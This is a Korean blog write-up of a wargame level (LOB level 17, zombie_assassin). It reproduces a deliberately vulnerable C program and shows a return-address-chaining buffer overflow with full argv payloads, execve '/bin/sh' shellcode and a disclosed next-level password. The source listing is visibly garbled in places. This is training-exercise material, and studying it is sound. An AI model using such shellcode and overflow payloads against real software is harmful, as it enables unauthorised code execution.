DongDD's IT

[LOB] Level17 zombie_assassin 본문

Wargame/LOB

[LOB] Level17 zombie_assassin

DongDD 2018. 1. 31. 17:40

[LOB] Level17 zombie_assassin


Problem



이번 문제에서도 succubus 실행 파일과 succubus.c 소스 코드 파일이 있었다.

먼저 소스 코드를 확인해보았다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
 
// the inspector
int check = 0;
 
void MO(char *cmd)
{
        if(check != 4)
                exit(0);
 
        printf("welcome to the MO!\n");
 
        // olleh!
        system(cmd);
}
 
void YUT(void)
{
        if(check != 3)
                exit(0);
 
        printf("welcome to the YUT!\n");
        check = 4;
}
 
void GUL(void)
{
        if(check != 2)
                exit(0);
 
        printf("welcome to the GUL!\n");
        check = 3;
}
 
void GYE(void)
{
        if(check != 1)
                exit(0);
 
        printf("welcome to the GYE!\n");
        check = 2;
}
 
void DO(void)
{
        printf("welcome to the DO!\n");
        check = 1;
}
 
main(int argc, char *argv[])
{
        char buffer[40];
        char *addr;
 
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
 
        // you cannot use library
        if(strchr(argv[1], '\x40')){
                printf("You cannot use library\n");
                exit(0);
        }
 
        // check address
        addr = (char *)&DO;
        if(memcmp(argv[1]+44&addr, 4!= 0){
                printf("You must fall in love with DO\n");
                exit(0);
        }
 
        // overflow!
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
 
        // stack destroyer
        // 100 : extra space for copied argv[1]
        memset(buffer, 044);
        memset(buffer+48+10000xbfffffff - (int)(buffer+48+100));
 
        // LD_* eraser
        // 40 : extra space for memset function
        memset(buffer-300003000-40);
}
 
cs


이번 문제 소스 코드는 여태 문제와 달리 엄청 길다. 하지만 단순한 함수들이 많아 긴 것이고 처음에 가장 먼저 눈에 띈 것은 MO()함수 내에 있는 system() 함수이다. 저 부분을 공략하면 될 것이라고 생각했다.

먼저 main을 보면 buffer 40 bytes가 있었고 argv[1]을 입력받는다. strchr()함수를 통해 argv[1]에 "\x40"의 문자가 있는지 확인해 있다면 프로그램을 종료시킨다.

이 후에 addr에 DO()함수의 주소를 넣어주고 입력한 argv[1]의 44~48번째 글자가 이 주소와 일치하는지 확인한다.

즉, DO()함수로 return address를 넣어주어야 한다는 의미같다.

그 후에 argv[1]을 buffer에 복사하고 buffer를 모두 초기화, buffer+148~ stack의 모든 영역 초기화, LD_PRELOAD, LD_LIBRARY_PATH를 사용하지 못하도록 모두 초기화 해준다.

그리고 각 함수 별로 check라는 변수를 통해 확인하므로 함수를 순서대로 시작시켜야 하는 것 같았다.


처음에는 소스 코드 분석을 자세히 하지 않아 이상한 시도를 했었고 무난히 해결할 수 있었다. 소스 코드를 자세 히분석했다면 더 빨리 해결했을 것 같다. 이 문제는 앞 문제들에 비해 낮은 난이도 같았다.



Solution


먼저 처음에는 단순히 함수를 순서대로 실행시켜야 하는 것 같았다.

그래서 함수의 시작 주소를 모두 찾아보았다.

Do() -> GYE() -> GUL() -> YUT() -> MO()


1. argv[1]에 shell code 이용



DO()의 시작 주소 : 0x80487ec

GYE()의 시작 주소 : 0x80487bc

GUL()의 시작 주소 : 0x804878c

YUT()의 시작 주소 : 0x804875c

MO()의 시작 주소 : 0x8048724


main()함수의 return address로 DO()함수의 주소를, DO()함수의 return address로 GYE()함수의 주소를 ...

이러한 방식으로 계속 시도해보았다.



계속해서 넣다보니 MO()함수까지 갈 수 있었고 이제 dummy 4 bytes와 "/bin/sh"만 넣어주면 통과할 것 같았다.



처음에 소스 코드를 제대로 확인하지 않았던 탓이라 이렇게 실패했다. "\x40"이 argv[1] 전체에 있으면 안된다는 것을 이 때 알았고 라이브러리 내에 있는 "/bin/sh"를 사용할 수 없다는 것을 깨달았다.


소스 코드를 다시 한번 확인해보고 쉽게 해결할 수 있었다.

memset()부분을 자세히 살펴보면 초기화되지 않는 부분이 있다.

buffer+48+100~stack의 끝까지 초기화하지만 buffer+44~buffer+48+100까지는 초기화되지 않는다. 즉, 첫 return address에 DO()함수의 주소를 넣어 if문을 넘기고 나머지 부분에 shell code를 삽입해 shell code부분으로 return하면 된다.



먼저 모든 함수를 사용하고 마지막 return address에 shell code의 주소를 넣기 위해 core파일을 통해 NOP+shell code가 시작되는 위치를 찾았다.


shell code 시작 위치 : 0xbffffa94


사용한 shell code(24 bytes) \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80 


함수의 시작 주소를 연달아 넣어주고 NOP+shell code를 가지는 주소를 마지막 return address로 설정한 뒤에 NOP+shell code를 넣어주면 된다.


Payload1 = dummy(44 bytes, "A"*40) + return address1(4 bytes, DO()함수의 주소, 0x80487ec) + return address2(4 bytes, GYE()함수의 주소, 0x80487bc) + return address3(4 bytes, GUL()함수의 주소, 0x804878c) + return address4(4 bytes, YUT()함수의 주소, 0x804875c) + return address5(4 bytes, MO()함수의 주소, 0x8048724) + return address5(4 bytes, shell code의 위치, 0xbffffa94) + NOP(20 bytes) + shell code(24 bytes)


처음에는 함수를 사용하던 상태에서 그냥했지만 마지막 함수에 있는 system()함수를 결국 쓰지 않으므로 모든 함수를 사용할 필요가 없다는 생각이 들어 DO()함수만 사용하여 시도해보았다.


Payload2 = dummy(44 bytes, "A"*40) + return address1(4 bytes, DO()함수의 주소, 0x80487ec) + return address2(4 bytes, shell code의 위치, 0xbffffa94) + NOP(20 bytes) + shell code(24 bytes)


함수가 많은 것은 그냥 함정이였고 단순하게 풀 수 있는 문제였고 쉬운 문제인 것 같았다.







**************     Answer & Flag     **************



1. argv[1]에 shell code 이용


Payload1 = dummy(44 bytes, "A"*40) + return address1(4 bytes, DO()함수의 주소, 0x80487ec) + return address2(4 bytes, GYE()함수의 주소, 0x80487bc) + return address3(4 bytes, GUL()함수의 주소, 0x804878c) + return address4(4 bytes, YUT()함수의 주소, 0x804875c) + return address5(4 bytes, MO()함수의 주소, 0x8048724) + return address5(4 bytes, shell code의 위치, 0xbffffa94) + NOP(20 bytes) + shell code(24 bytes)


argv[1] = "A"*44+"\xec\x87\x04\x08"+ "\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"\x94\xfa\xff\xbf"+"\x90"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"


Payload2 = dummy(44 bytes, "A"*40) + return address1(4 bytes, DO()함수의 주소, 0x80487ec) + return address2(4 bytes, shell code의 위치, 0xbffffa94) + NOP(20 bytes) + shell code(24 bytes)


argv[1] = "A"*44+"\xec\x87\x04\x08"+"\x94\xfa\xff\xbf"+"\x90"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"



Next ID : succubus

Next PW : here to stay


'Wargame > LOB' 카테고리의 다른 글

[LOB] Level19 nightmare  (0) 2018.02.08
[LOB] Level18 succubus  (0) 2018.02.07
[LOB] Level16 assassin  (0) 2018.01.31
[LOB] Level15 giant  (0) 2018.01.30
[LOB] Level14 bugbear  (0) 2018.01.27
Comments